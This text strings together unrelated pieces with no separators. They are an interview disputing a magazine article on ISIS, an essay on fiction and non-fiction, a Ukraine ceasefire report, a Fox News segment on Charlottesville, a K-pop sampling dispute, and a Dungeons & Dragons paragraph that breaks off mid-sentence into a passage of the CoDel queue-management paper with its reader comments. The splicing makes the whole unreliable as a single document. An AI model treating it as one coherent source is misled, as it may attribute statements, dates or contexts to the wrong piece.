When I reached Awad yesterday, he hadn’t seen the article yet. When I described it over the phone, he reacted immediately by saying, “This is an outrageous statement, an ignorant statement.”
He then asked for some time to read the article in its entirety, and then we spoke again later last night.
“This piece is misleading because it’s full of factual mistakes,” Awad said. “Mistakes are all over it.”
He blamed Graeme Wood for trying to grasp things he wasn’t qualified to understand.
“Scholars who study Islam, authorities of Islamic jurisprudence, are telling ISIS that they are wrong, and Mr. Wood knows more than what they do, and he’s saying that ISIS is Islamic? I don’t think Mr. Wood has the background or the scholarship to make that dangerous statement, that historically inaccurate statement,” he said. “In a way, I think, he is unintentionally promoting ISIS and doing public relations for ISIS.”
I asked him for a specific mistake that Wood made in the piece, and he said right from the start it was obvious that Wood was out of his depth with Islam’s terminology.
“He’s using ‘terrorism’ and ‘jihad’ interchangeably — that’s very dangerous. Jihad is a legitimate concept in self-defense. If you call terrorism jihad, you are legitimizing the actions of terrorists.”
I asked him about an apocalyptic vision in Islam — does the Koran predict a violent end of days?
“There is no apocalyptic bloodbath in Islam. Muslims believe in the second coming of Jesus, but we don’t believe what Christians or Christian Zionists believe,” he said, referring to prophecies that get some American evangelicals worked up, predicting a bloody war between Muslims and Jews as a harbinger of the Second Coming. “We don’t believe that,” he said.
If ISIS isn’t Islamic, what is it?
“ISIS represents a state of desperation of some Muslims who don’t believe in justice. They see injustice, they hijack these grievances and try to culture it with religious justification. That’s due to the lack of leadership of Muslims themselves there, the governments of Muslim and Arab countries, and the international community,” he said. “Those leaders failed people who are under occupation, and ISIS is filling a vacuum of leadership.
“They’re calling it a Caliphate, which is completely nonsensical,” he added. “They’re using certain historic terminology to appeal to young people who are disaffected. But they’re appealing to a small number of people. Out of 1.7 billion Muslims, they’ve appealed to a few thousand.
“My fear is that ISIS is couching its struggle in religious terminology, and I fear that some people in the West are couching their response in religious terminology — like some people here on Capitol Hill.”
And fighting a religious war will only make things worse, he said.
“As long as we have dictatorships and tyranny in the region, then something even worse than ISIS will replace it,” Awad said. “Airstrikes are only a partial solution. A long term solution is to deal with the root causes. That will require wise leadership.”
After talking to Awad, I reached out to Graeme Wood, telling him about some of Awad’s criticisms.
“I do not equate ‘jihad’ and ‘terrorism.’ There may very well be factual errors in the piece, but he has not named any,” Wood wrote in an email.
As for Awad’s objection that Wood wasn’t qualified to overrule Muslim scholars, he says, “Here he is confusing what is Islamic with what is right. I specifically refrained from saying whether ISIS’s interpretation of Islam (or that of Abdullah Pocius, the Salafi imam I profiled in the piece, or that of the vast majority of other Muslims — ‘virtually all of them’ — who reject ISIS) is right. That is a question for Muslims. Instead, I argue that ISIS is Islamic, in the sense of drawing on the long and varied traditions and core texts that Muslims share. They did not make these practices up out of whole cloth, even the ones like slavery and execution of homosexuals.”One of the best things about being a writer is that nobody tells you what to do. You don’t have a boss, or rather, you are your own boss. A corollary of that is that when you ask yourself why you are doing what you are doing, you don’t always have an immediate answer. You can find yourself doing things — things that involve months or even years of work — without knowing quite why you’re doing them. To blame the boss is to blame yourself.
At various points during the time I spent writing my book about the financial crisis, I found myself wondering why I was doing it. I had a full draft of a novel sitting in a drawer waiting to be finished. I had never written a book-length work of non-fiction. (I had written a memoir about my parents, but that’s a different beast.) I knew that I found the credit crunch unrivalled in its interest and drama, and that I was in a good position to write about it, since I had been following the story since before it happened — but that didn’t quite explain why I felt compelled to write a book about it when I had other books I wanted to write, too.
And then one day, as I walked down the Strand, I was reminded of something. The Savoy is at the end of a short street just off the Strand and that is one of my favourite roads in the whole world for the following reason: it was for many years the only public thoroughfare in England on which it was compulsory to drive on the right. (Maybe it still is. I haven’t had the heart to fact-check it, in case it’s no longer true.)
The day I walked past the Savoy happened to be September 7 2009, the day on which Samoa became the first country in decades to switch from driving on the right to the infinitely more sensible, and demonstrably safer, practise of driving on the left. (I’m not joking about it being safer: this is statistically true. Nobody is quite sure why, but the suspicion is that it’s because we are right-eye dominant, by and large, and our way of driving uses the right eye more. Or maybe foreigners are just thicker than us.) I had been reading up on the subject. I’d been reading about how most countries used to drive on the left, because it’s the logical side to get on a horse for right-handed people, and about how almost all the countries that still drive on the left had a strong British influence and are islands. I was mulling over these things and then it struck me: this couldn’t go in a novel. A novel with a disquisition on the difference between driving on the left and on the right would be… well, let’s just say I wouldn’t be in a hurry to read it.
The world is full of interesting things that don’t fit inside traditional fictional forms. That is because a novel has to seem true. It doesn’t have to be factually or literally true and the kind of truth it seeks can be fantastical, wild, unearthly, illogical, dreamlike, incoherent, even mad — but it does have to feel true. It has to generate a world of its own and create a satisfying internal order within that world, on that world’s own, mysterious, innate terms.
That means you can do an awful lot in fiction: send your characters to Mars, or to the lunatic asylum, or have them change sex, or personality, or anything, as long as it seems real on its own terms. But there are limits, and one of them is to do with unlikeliness. Fiction copes badly with unlikeliness. The bizarre is fine. But sheer unlikeliness, improbability, things that simply shouldn’t have happened or feel as if they couldn’t have happened, even after you know they have — that is likely to break a fictional world.
I realised, that day in the Strand, that the appeal of non-fiction for me was that it was a way of writing about the many aspects of the world that the novel struggles to contain. It was a way of writing about driving on the left, or about the chain of mistakes, inventions and improbabilities that took the Western world from a period of unprecedented prosperity to a systemic breakdown, with no warning and no external shock. Talk about interesting; talk about unlikely.
The problem of the limits of fiction is one that has preoccupied me for a while. The novel is the worldliest of the great artistic forms: you can ignore the world in a painting, or a symphony, or a ballet, or a sculpture, but you can’t in a novel — not one that would be worth reading. But the worldliness of the novel is qualified, and there are things it doesn’t do, or doesn’t do well. Unlikeliness is one of them, and another, I’ve noticed, is work. The world of work, especially of modern work, is significantly under-represented in fiction.
Freud said that the two criteria of mental health were the ability to love and to work. The first of those impulses is amply chronicled in the world of fiction — indeed, exhaustively so, since there are shelves and shelves of books that are essentially all about love. The world of work barely features. Insofar as it does, most of the great books that describe work were written in the 19th century: Zola’s novels, or Dickens’s, or Moby-Dick (which among other things is a great novel about the job of whaling).
Tolstoy was interested in work, especially in Anna Karenina, where everyone remembers Levin sweating in the field with his peasants, but where there is also one of the crispest depictions of civil service life, in the character of Oblonsky. It is his extramarital activities that inspire the famous opening of the novel — “every happy family is alike” — but he has also won great respect as a bureaucrat. Tolstoy writes that he did so chiefly because of “his complete indifference to the business he was engaged on, in consequence of which he was never carried away by enthusiasm and never made mistakes”. Dickens’s characters work, and so do Thackeray’s and Trollope’s and Mark Twain’s and Flaubert’s (which is striking, since Flaubert never in his life did a day’s paid work).
The modern world of work, however, is much less well-represented in fiction; startlingly so, given how many people define themselves through work and how central work is to so many people’s self-description. In modern literary fiction, in particular, a job tends to be as much a marginal detail of a character’s life as her hair colour.
Joshua Ferris’s novel Then We Came to the End (2007) is one exception, but it is an ambiguous one, because Ferris goes to some lengths to break rules in his book. One example of the rule-breaking: the novel is narrated entirely in the first-person plural. I’d argue that setting his novel in a workplace is another conscious piece of literary rule-breaking.
Contemporary genre fiction does better with work, but only with more ostensibly glamorous jobs; the central appeal of the police procedural genre, from Ed McBain through to Henning Mankell, is the depiction of people at work. But there is no literary equivalent of the procedural, which is a shame. It’s certainly a genre that would have interested Balzac and Zola. Women’s popular fiction, in whatever its current incarnation, tends to have an interest in the heroine’s work, as part of an emphasis on the character’s career — the women in everything from Marian Keyes to Jane Green to Wendy Holden have strong feelings about their jobs, or lack of them. It’s an interest that is noticeably lacking in more literary fiction.
This regrettable lapse in the worldliness of the novel is based, I think, on the fact that so much modern work is so complicated. Television can give us a cartoon version of a barrister’s work, or a forensic scientist’s work, or a doctor’s work; for a fuller and more real version, the writer would have to do a huge amount of explanation of the complex realities of their different working lives. But you can’t explain in fiction, not like that and not at the necessary length.
In science fiction, the necessary kind of explanation is called “Tell me, Professor” — the cue for the long explanation of exactly why the hyperdrive warp won’t allow the hero to travel through the flux continuum vortex to do whatever the plot demands he do. It’s fine in small doses, as a dollop of explanation before the main course of drama, but the complexity of modern working lives is too much for it. That, more than anything else, is the reason why the novel has drifted away from whole areas of our everyday working lives.
It’s these two things — the sheer unlikeliness of the credit crunch, and the wish to explain it and the world of money and international banking more generally — that led me to write my book. But it’s worth remembering that, as Jonathan Raban points out, the word “fiction” derives not from some imaginary Latin word ficio meaning “I make stuff up”, but from the verb fingere, “to shape”: it takes its name from the shaping action of the potter’s fingers at his wheel. To tell any story well you need the ordering and shaping impulses of fiction, even if the story has the deep unlikeliness of real life. In the case of the credit crunch, the unlikeliness was so great, according to the chief financial officer of Goldman Sachs, that their statistical models showed it would not happen, even if the entire history of the universe were repeated trillions of times over. Now that really is something you couldn’t make up.
* John Lanchester’s ‘Whoops!: Why Everyone Owes Everyone and No One Can Pay’ is published this week by Allen Lane at £20. To order it from the Telegraph for £18 plus £1.25 p&p call 0844 871 1515Kyiv officials and pro-Russian rebels are expected to swap hostages on Saturday following a ceasefire deal that could end five months of bloodshed in eastern Ukraine.
After around 2,600 deaths from the fighting, President Petro Poroshenko said both sides must do everything possible to “put an end to people’s suffering”.
“This ceasefire is based on the agreement which was reached during my phone conversations with Russian President Putin. That’s why I think that this is very important that stability, the fact that this ceasefire should last, is now our common responsibility,” Poroshenko said at an impromptu press conference at the NATO summit in Wales.
The Kremlin-drafted truce, agreed during tri-lateral talks in Minsk on Friday, was cautiously welcomed but new Western sanctions against Russia will go ahead for the time being.
The pact is likely to see more autonomy for pro-Moscow regions of eastern Ukraine.
Many analysts think the ceasefire is a victory for Russian President Vladimir Putin and scepticism remains about whether the Kremlin-backed rebels he backs will keep to their end of the deal.
“In terms of what happens on the ground, I don’t think we should particularly trust him (Putin). His strategic goals remain the same as before. They are at complete loggerheads with NATO’s strategic goals and these things can’t really be reconciled so I think the conflict will keep on lingering,” said political analyst Jan Techau from Carnegie Europe.
The Ukraine crisis topped the agenda at the NATO summit, which wrapped up in Wales on Friday.
Reporting from Newport, euronews correspondent James Franey said:
“NATO leaders have given this the ceasefire deal a cautious welcome here in Wales. But many challenges remain. Ukrainian President Petro Poroshenko insists the territorial integrity is not up for discussion; rebels say their goal remains to split from Ukraine. Simply making this deal stick will be the biggest hurdle of all to clear.”Screenshot from YouTube.
The two guests on the Fox News program "Fox and Friends" had been invited to talk about the toppling of a North Carolina Confederate monument Wednesday morning in the way cable news often sets up: talking heads at opposite ends of the political spectrum bickering over partisan talking points.
Wendy Osefo, a policy and social justice expert and Johns Hopkins University professor, was there ostensibly to represent left-wing views. Gianno Caldwell came on the program as a Republican strategist.
Both Osefo and Caldwell had agreed to discuss the statue incident before hearing President Trump's remarks Tuesday that have sparked fierce backlash in the wake of violence in Charlottesville.
President Trump on Aug. 15 said that "there's blame on both sides" for the violence that erupted in Charlottesville on Aug. 12. (Bastien Inzaurralde/The Washington Post)
The two guests blew up the entire premise of talking at opposite ends. Instead, they engaged in a discussion over the humanity of the moment and perceived failings of Trump to unequivocally condemn neo-Nazis and white supremacists.
“This is not partisanship. This is human life,” Osefo said to anchor Abby Huntsman in an emotional exchange centered on Trump's remarks in a combative news conference.
“As a black woman [with] two black boys, my heart bleeds. This is not talking points here. This is personal. And we as a nation, as a country, have to do better," she added.
Trump received intense bipartisan scrutiny after he said “I think there's blame on both sides” in violence that killed Heather Heyer, a 32-year-old Charlottesville woman, and injured 19 others when police say a man allegedly linked to neo-Nazi beliefs drove his car into a crowd.
“The monuments are just a symbol of hatred. The president is an embodiment of that hatred,” Osefo told The Washington Post on Wednesday.
[Trump again blames ‘both sides’ in Charlottesville, says some counterprotesters were ‘very, very violent’]
Osefo said she originally planned to discuss the protester-led removal of a Confederate statue in her hometown of Durham, N.C., and the experience of growing up as a Nigerian immigrant under the shadow of monuments dedicated to slavery's defense that her neighbors celebrated.
“It makes you feel like you’re less than equal. The only time the community was unified was when Duke and the University of North Carolina had a basketball game,” she said, describing a dark undercurrent of racism that separated her from white society.
Protesters in Durham, N.C. toppled a statue called the Confederate Soldiers Monument on Aug. 14, as they chanted, "The people united shall never be defeated." (Reuters)
That idea went unaddressed in the segment. Following Osefo's stinging critique of Trump's news conference, Huntsman echoed the president, saying "there are good people on both sides” and asked Caldwell if he agreed that dismantling monuments was an affront to history.
The partisan line came crashing down.
“I come today with a very heavy heart,” Caldwell told Huntsman, his emotion building. “Last night I couldn’t sleep at all because President Trump, our president, has literally betrayed the conscience of our country.”
He added: “The very moral fabric in which we have made progress when it comes to race relations in America. He has failed us,” as Osefo nodded in solidarity.
Caldwell told The Post that, like Osefo, he agreed to the segment before hearing Trump's remarks from Trump Tower. He had prepared to mostly discuss the idea that monuments should only be removed by communities, and not by protesters wielding ropes and ladders.
[How politicians are reacting to Trump's latest comments on Charlottesville]
A side-by-side look at how President Trump and Fox News pundits discussed the Charlottesville violence. (Thomas Johnson/The Washington Post)
“To hear tone and tenor, to hear him pacify these white supremacists and general racists — I was completely disgusted. I was shaken,” he told The Post.
On the segment, Caldwell said it had become very troubling for anyone to go on any network and defend what Trump said at the news conference about Charlottesville.
“It’s completely lost and [would have the] potential to be morally bankrupt,” he told Huntsman.
Huntsman pushed back as the camera focused on Caldwell, saying "no” before Caldwell interjected.
“I’m sorry, no, I believe that, and I’m being very honest; as someone who has been talking about these issues for a very long time, I’m sorry that this is where we are right now. I hope the president learns a lesson from his news conference yesterday. It’s disturbing.”
[What is the ‘alt-left,’ which Trump just blamed for some of the violence in Charlottesville?]
The moment brought tears to Caldwell's and Osefo's eyes as Huntsman sought to steer the conversation back to the statue debate. The two guests did not budge, finding common ground as Huntsman probed new ways to find disagreements on the debate over statue removals becoming a "slippery slope."
Huntsman later retweeted a woman who said the “theatrics” of the segment were appalling.
“We are all human beings. Everyone deserves to be heard and feel accepted,” she wrote in the tweet she later deleted, the Daily Beast reported.
Osefo told The Post that though Caldwell sits on the other side of the aisle politically, "he’s always my brother."
“This goes beyond talking points. A mother buried her child because of Charlottesville,” she said.
That Fox and Friends is among Trump's favorite programs was not lost on Caldwell, who took the opportunity to speak to the president directly.
“I don't have interest in discussing counterprotesters,” Caldwell said. “My interest is what this president believes and how it impacts people of color.”
Read more:
Charlottesville victim: ‘She was there standing up for what was right’
Trump’s business advisory councils disband as CEOs abandon president over Charlottesville viewsIU’s bonus track “Twenty-Three” from her latest album “Chat-shire” has been accused of illegally sampling from Britney Spears’ song.
The song in question is Britney Spears’ song “Gimme More” which was released in 2007. Britney Spears’ fans noticed a voice and various sounds that sound like Britney Spears in IU’s bonus track version of “Twenty-Three.”
For example, Britney’s voice saying “keep on rocking” can be heard in IU’s song. This is an issue because the song does not credit Britney Spears and it is unclear whether there was any permission given concerning sampling the track.
The singer’s agency, Loen Entertainment, responded to the accusations on November 3 and stated, ” We became aware of [this issue] over the weekend. We have confirmed that the composer who arranged the song used a sample from voice samples he purchased in the past. They were unsure of the origins of the voice sample, so we have contacted Britney Spears’ agency to confirm whether or not it is her voice.”
Her agency continued, “We plan on discussing the matter and resolving it after we find out the truth. We will notify you after we find out the results.”
They then apologized saying, “We want to apologize for not being meticulous during the album creation process and for worrying fans. We want to thank and apologize to the fans of Britney Spears who brought this to our attention.”
You can listen to the tracks below.
IU’s “Twenty-Three” bonus track:
Britney Spears’ “Gimme More”:
Instrumental version of Britney Spears’ “Gimme More”:
IU’s performance of the bonus track on “Producer“:
What are your thoughts on this issue?
Source (1) (2)Anyone who’s played Dungeons & Dragons, or another roleplaying game, and used an official Dungeon Master (DM) screen knows how flimsy the commercial screens can be. Even the ones made of thick board not card stock, while being sturdier, are not |
so we tested a range of traffic loads and conditions. The per-packet queue delay for successfully transmitted (not dropped) packets is particularly useful. This can be viewed against simulation time for a single run or the statistics over the run (e.g., median and 95th percentile) can be used for comparisons and trends. Monitoring link utilization ensures that queue management does not have a negative impact on throughput. Though not our primary concern, we used the Jain fairness index to see if drop share per source was somewhat in proportion to the number of packets transmitted, computed for n samples as:
PERFORMANCE ACROSS A RANGE OF STATIC LINK RATES
CoDel is the same code with the same settings, regardless of egress link rate. To see how well it works, we collected the median packet delay and link utilization values from a number of traffic loads (FTPs with and without added Web-browsing and constant-bit-rate applications) and RTTs from 10-500 ms, sorted them by link bandwidths, and box plotted the results. These are displayed separately for larger bandwidths (3 Mbps, 10 Mbps, 45 Mbps, and 100 Mbps in figure 5) and smaller bandwidths (128 Kbps, 256 Kbps, 512 Kbps, and 1.5 Mbps in figure 6). The results for RED are also shown for the larger bandwidths, but median delays for the smaller set were excessive (100-200 ms).
CoDel drops only when its minimum delay statistic exceeds 5 ms and the buffer contains at least a link MTU’s worth of bytes. For links with MTUs transmitting in less than 5 ms (the larger bandwidth group) and traffic loads consisting of all long-lived FTPs, the median delay should approach this target. CoDel is designed to permit short-term bursts; thus, median values for bursty traffic patterns should be higher than the 5-ms target. For larger bandwidths, delay resulting from bursts of packets is small compared with the target (e.g., a 1,500-byte packet is transmitted in 0.1 ms at 100 Mbps), so load variations have less effect on the median. At smaller bandwidths the delay caused by an additional packet is significant compared with the target (e.g., 4 ms for a 3-Mbps link), and median delays will be noticeably larger. This is exactly the desired behavior: the longer delays are not excessive and permit link utilizations to be maintained at high levels. Figure 5 shows CoDel delays are as expected and the link utilizations are good. RED’s delays and utilizations are similar for 3-Mbps links, but delays and utilizations are smaller for 10 Mbps and above. The low utilizations show that RED is likely overcontrolling.
The lower bandwidth values shown in figure 6 use a smaller range of RTTs (30-100 ms). Such link rates can be expected at the consumer Internet-access edge (handheld, home) or on degraded Wi-Fi links. Static low-bandwidth links usually use a smaller link MTU, so we collected data where the link MTU was set to 500 bytes, as well as the 1,500-byte MTU used for all other runs. As expected, the larger MTU increases delays, but less significantly as bandwidth increases. Utilizations for low-bandwidth links are generally good since they are easy to fill with mixes of FTPs. A few runs were done at each bandwidth with only the PackMime Web browsing, which makes it difficult to get high utilizations; we had to accept a drop rate of more than 10 percent to get over 60 percent utilization.
PERFORMANCE ON DYNAMIC LINKS
Some dynamic link testing is possible in simulation. To roughly emulate a (nominal) 100-Mbps Wi-Fi link subject to degradation, we used a load of four FTPs and five Web connections per second and changed link rates at 50-second intervals (over the 300 simulated seconds), first dropping to 10 Mbps, then to 1 Mbps, then jumping to 50 Mbps, dropping to 1 Mbps, and finally jumping back to 100 Mbps. Buffer capacity is a single BDP (830 packets) for the nominal rate. This scenario was repeated for CoDel, Tail Drop, and RED.
Figure 7 shows the per-packet queue delay and the cumulative number of kilobytes transferred as simulation time progresses. As expected, Tail Drop generally keeps its buffer full, delaying packets by the amount of time it takes to transmit a buffer full of packets at the current link rate. That delay can be as much as 10 seconds. RED keeps the queue delay smaller than Tail Drop but doesn’t respond to changes as quickly as CoDel. CoDel permits an initial spike as the FTPs get started and a dropping rate is learned for the current conditions. The delays spike when the link rates drop (at 50, 100, and 250 seconds), as the queue size is now too long for the new rate. CoDel computes a new control point within 100 ms, the maximum interval a local minimum is valid. It is an open question whether anything should be done to speed this; preliminary studies show it is better not to attempt to “clear out” the backlog. If rate changes of an order of magnitude or more several times a minute are common, then the issue may require further study.
Comparing the kilobytes transferred with the queue delay, it’s easy to see that long delays are not required for high utilization. CoDel transfers almost the same total kilobytes as Tail Drop, with the differences coming at the rate jumps (150 and 250 seconds), where CoDel’s FTPs have to ramp up to fill the new pipe size while Tail Drop’s queues send their backlog. Undersized buffers are not the answer to bufferbloat. Figure 7 shows the same scenario using 10 packet buffers, a size suitable for the 1-Mbps rate. Throughput is about 75 percent less for all three schemes (Tail Drop and CoDel are identical). Tail Drop tends to keep its 10-packet buffer full, which would result in a worst-case delay of 120 ms but with 25 percent of the throughput that can be achieved with a large CoDel-managed buffer—which gets a median delay of 2.7 ms, 75th percentile delay of 5 ms, and is less than 90 ms 95 percent of the total simulation time.
DROPPING THE RIGHT PACKETS
Although most network analysis today assumes connections with an unloaded 100-ms RTT, in practice RTTs vary. Unless a path includes a satellite link, RTTs in the one-second range are usually caused by bufferbloat, not the intrinsic path characteristics. At the consumer edge, few connections will have less than a 30-ms RTT. Since CoDel’s interval is weakly related to RTT, we tested the effectiveness of a 100-ms setting over a wide range of likely RTTs and report on the range from 10 to 500 ms.
Figure 8 shows results for a variety of traffic loads, sorted by RTT. Both CoDel and RED keep the median delay low, but CoDel has higher link utilizations and better drop-share fairness, showing that CoDel’s design is more effective at dropping the right packets. CoDel’s utilization is very close to that of Tail Drop (except for an RTT of 500 ms) but with much less delay. CoDel’s performance metrics are not significantly different between 30- and 200-ms RTTs. Utilizations are slightly less and have a larger range as the RTT increases, because some traffic loads have difficulty keeping the larger pipe full. The 500-ms RTT utilization shows more variation, the low end corresponding to single FTPs, which have difficulty keeping a very large pipe full.
Figure 9 compares the Jain fairness index for the source-drop shares of CoDel and RED for these runs. CoDel consistently outperforms RED for this metric. This seems to be, in part, because the changes to the original RED make drops less randomly distributed while CoDel gets randomness from the independence of drop intervals and packet arrivals.
CONSUMER EDGE
This scenario roughly emulates a consumer edge for two (symmetric) bandwidths: 512 KB and 1.5 MB. The load includes a two-way 64-Kbps CBR (VoIP-like), an infinite FTP as a download, Web browsing at a rate of two connections per second, and uploads of small FTPs—1 MB with short idle periods (5 to 15 seconds, uniformly distributed) between. Table 1 lists results, where “C” is CoDel and “T” is Tail Drop and each link direction is shown separately. Although CoDel never drops packets at a higher rate than Tail Drop, it keeps a much smaller queue and transfers similar amounts of data, offering encouragement for taming bufferbloat.
The experiments presented here mainly consist of “forward” traffic where all the data traffic is going in the analyzed direction. Reverse traffic has well-known issues of ack compression or data pendulum, which tend to push the delay up and the utilization down. There are known mitigations to improve the mixing of acks and data packets that will be performed in the home-router implementation. Even the unmitigated simulation experiments showed acceptable performance.
AQM is not a substitute for differentiated queuing to provide priority for packets that need low latency and jitter. We have had a lot to say in the past about solutions for that type of traffic; AQM should be employed on the packet queues handling common Internet traffic and a Delay Bound per-hop behavior used for latency sensitive traffic.
CoDel lends itself to efficient implementation in Linux-based routers, crucial to deployment at the edge. Other AQM implementations require locks on the queue that aren’t necessary for CoDel. There are also a small number of state variables. We believe CoDel’s algorithm can be efficiently implemented in silicon.
MANAGE THE RIGHT QUEUE
At this point, a savvy user could be tempted to deploy CoDel through a CeroWrt-enabled edge router to make bufferbloat disappear. Unfortunately, large buffers are not always located where they can be managed but can be ubiquitous and hidden.6,7 Examples include consumer-edge routers connected to cable modems and wireless access points with ring buffers. Many users access the Internet through a cable modem with varying upstream link speeds: 2 Mbps is a typical value. The home network or home computer connects to the cable modem with an Ethernet cable in the range of 100 Mbps-1 Gbps (figure 10). The modem’s buffers are at the fast-to-slow transition, and that’s where queues will build up: inside a sealed device outside of user control. Any DiffServ (differentiated services) queuing and buffer management at the router can be defeated by a full queue in the cable modem. Three approaches have been suggested: (1) limit the Ethernet link to the upstream rate; (2) put buffer management and DiffServ queues in the cable modem with a configuration interface for the DiffServ queues; (3) implement Ethernet flow control between the modem and the upstream router.
Option 1 has the advantage that it can be implemented by a user without cable-modem changes and the disadvantage that it must rate limit to the expected rate of the upstream. If the rate drops, then a queue will still build up in the cable modem, and any additional short-term bandwidth cannot be utilized. Option 2 puts buffer management right at the bottleneck link but requires the vendor to make (possibly significant) changes to the modem architecture and permit configuration. Option 3 also requires vendors to make changes but uses Ethernet flow control to permit only the number of packets in the modem buffer needed for good transmission utilization while pushing the queue into the router where it can be managed and where new algorithms can be more readily deployed. Options 2 or 3 are preferable but require a cable-modem vendor and/or a cable data network service provider to make this part of the modem requirements.
A modern AQM is just one piece of the solution to bufferbloat. Concatenated queues are common in packet communications with the bottleneck queue often invisible to users and many network engineers. A full solution has to include raising awareness so that the relevant vendors are both empowered and given incentive to market devices with buffer management.
NEXT STEPS
The open source project CeroWrt3 is using OpenWrt to explore solutions to bufferbloat. A CoDel implementation is in the works, after which real-world data can be studied. We plan to make our ns-2 simulation code available, as well as some further results.19
REFERENCES
1. Braden, R., et al. 1998. Recommendations on queue management and congestion avoidance in the Internet. RFC 2309.
2. Bufferbloat Project; http://www.bufferbloat.net.
3. CeroWrt Project; http://www.bufferbloat.net/projects/cerowrt.
4. Dischinger, M., et. al. 2007. Characterizing residential broadband networks. In Proceedings of the Internet Measurement Conference, San Diego, CA.
5. Floyd, S., Jacobson, V. 1993. Random early detection gateways for congestion avoidance. IEEE/ACM Transactions on Networking.
6. Gettys, J. 2011. Bufferbloat: dark buffers in the Internet. Backspace Column, IEEE Internet Computing 15(3):95-96.
7. J. Gettys and K. Nichols. 2011. Bufferbloat: dark buffers in the Internet. Communications of the ACM 9(11):57-65.
8. Jacobson, V. 1988. Congestion avoidance and control. Proceedings of SIGCOMM ’88, Stanford, CA.
9. Jacobson, V. 1989. Reported in Minutes of the Performance Working Group. Proceedings of the Cocoa Beach Internet Engineering Task Force, Reston, VA. Corporation for National Research Initiatives.
10. Jacobson, V. 1998. Notes on using RED for queue management and congestion avoidance. Talk presented at NANOG 13 (North American Network Operators’ Group); ftp://ftp.ee.lbl.gov/talks/vj-nanog-red.pdf.
11. Jacobson, V. 2006. A rant on queues. A talk presented at MIT Lincoln Labs, Lexington, MA; http://www.pollere.net/Pdfdocs/QrantJul06.pdf.
12. Jacobson, V., Nichols, K., Poduri, K. 1999. RED in a different light; http://www.cnaf.infn.it/~ferrari/papers/ispn/red_light_9_30.pdf.
13. Kreibich, C., et. al. 2010. Netalyzr: illuminating the edge network. In Proceedings of the Internet Measurement Conference, Melbourne, Australia.
14. Li, T., Leith, D. 2008. Adaptive buffer sizing for TCP flows in 802.11e WLANs. In Proceedings of Communications and Networking in China.
15. Mankin, A. 1990. Random drop congestion control. In Proceedings of SIGCOMM ’90.
16. Mathis, M., Semke, J., Mahdavi, J. 1997. The macroscopic behavior of the TCP congestion avoidance algorithm. ACM SIGCOMM Computer Communication Review 27(3).
17. Nagle, J. 1984. Congestion control in IP/TCP internetworks. RFC 896; http://www.ietf.org/rfc/rfc896.txt.
18. Network Simulator - ns-2; http://nsnam.isi.edu/nsnam/index.php/User_Information.
19. http://www.pollere.net/CoDel.html.
20. Vu-Brugier, G., et. al. 2007. A critique of recently proposed buffer-sizing strategies. ACM SIGCOMM Computer Communication Review 37(1).
21. Weigle, M. C. 2002. Web traffic generation in ns-2 with PackMime-HTTP; http://www.cs.odu.edu/~mweigle/research/packmime.
22. Feng, W., et. al. 2002. The BLUE Active Queue Management Algorithm. In IEEE/ACM Transactions on Networking, 10(4): 513-528.
LOVE IT, HATE IT? LET US KNOW
[email protected]
KATHLEEN NICHOLS is the founder and CTO of Pollere Inc., a consulting company working in both government and commercial networking. She has 30 years of experience in networking, including a number of Silicon Valley companies and as a cofounder of Packet Design.
VAN JACOBSON is a Research Fellow at PARC where he leads its content-centric networking research program. He has worked at Lawrence Berkeley National Laboratory, Cisco Systems, and was a cofounder of Packet Design.
© 2012 ACM 1542-7730/12/0400 $10.00
Originally published in Queue vol. 10, no. 5—
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Rich Brown | Fri, 23 Sep 2016 13:34:06 UTC
Here are two resources for current work on the bufferbloat front:
- https://www.bufferbloat.net - the canonical site that collects all our work
- https://lists.bufferbloat.net/listinfo - the Bloat and Codel mailing lists contain our most recent investigations
Kathleen Nichols | Fri, 20 Feb 2015 16:02:28 UTC
As noted above, this article was written rather hastily. In http://pollere.net/Pdfdocs/draft-02.pdf we got a chance to provide more explanation of some important features.
Scot | Wed, 28 May 2014 08:57:01 UTC
Figures 1 and 2 look a lot like tubes with packets moving through them. Is the internet made up of a series of these tubes?
santosh | Sat, 09 Feb 2013 14:04:22 UTC
i want simulation code for red,fred,wred and blue algorithms on ns2
Jesper Louis Andersen | Tue, 25 Dec 2012 16:03:46 UTC
@Andrey,
I am trying to see if this works actually, by building a CoDel front for work queueing in Erlang. Currently, I have the code and I am measuring if it works to see what happens.
Saddy | Mon, 26 Nov 2012 21:00:45 UTC
I don't know if this is the solution for a big problem or not. But when i start reading this article i didn't know what Codel is and now i know everything.
So this is a great article, thank you!
Andrey Polozov | Thu, 30 Aug 2012 04:21:34 UTC
I'm not a scientist, so forgive me my ignorance. I have a crazy idea about this approach application. I believe that in software development we also have an issue of over buffering. In most cases of remote call implementation (i.e. web services) we tend to queue requests one way or another, but rarely reject new requests until the system is completely hosed. The timeout is enforced by abandoning the request if it took more than timeout so far. We don't say to the client: "No, we can't even start processing you request because there is no way we can do it in given time.", instead we hope that somehow we might be able to do it. (which technically is true: in order to make 100% reliable decision about rejection we have to look into the future). I tried to use exponential moving average of request time of past requests time (RTT in network term). It worked fairly well, but has some down sides: requires some knobs, sometimes misses the target, doesn't work well with mix of quick and slow requests, etc. So, I'm wondering if CoDel be applied there? Maybe I'll be able to try it some day, but before that it would be great to hear how it looks from the scientific point of view... Thanks for the great article!
Guy | Fri, 17 Aug 2012 16:14:18 UTC
I tried to comment here but the comment was refused.
I don't understand the ruleset being used for comment refusal but I have real comments regarding this article. Contact me if you're interested.
I've given up trying to enter my comment.
Kathleen Nichols | Tue, 10 Jul 2012 20:09:30 UTC
No control law is "perfect" and we've looked at lots of variants. We are pleased with how this one works but welcome others' work on improvements.
We have been looking at the "drop elderly packets" approach for a while. It turns out that it only seems to come into play where there are really large output link rate decreases, BUT it means making assumptions about what is "old" so we have not recommended that at this time because we only add something when we are sure it is useful, does no harm, and is worth any complexity added to the implementation.
We were on a very tight deadline to get this article done and I'm sure the language could be improved. However, I was afraid Jim Gettys would show up at my door with a cattle prod if I didn't finish it when promised. I'm sorry the language offends.
testerer | Fri, 06 Jul 2012 03:28:56 UTC
The sqrt law is logical for one tcp stream, or multiple streams with packets uniformly distributed through the queue. If you have multiple independent bursty streams, the sqrt law has little reason to work and might cause behavior which will be hard to debug.
Another way you can guarantee that latency will not go high (>100ms, f.e.) for the packets already in the queue by dropping ones that are "very old" (>150ms, f.e.) right away, and then having each incoming packet remove some "old" ones to bring the latency closer to the target.
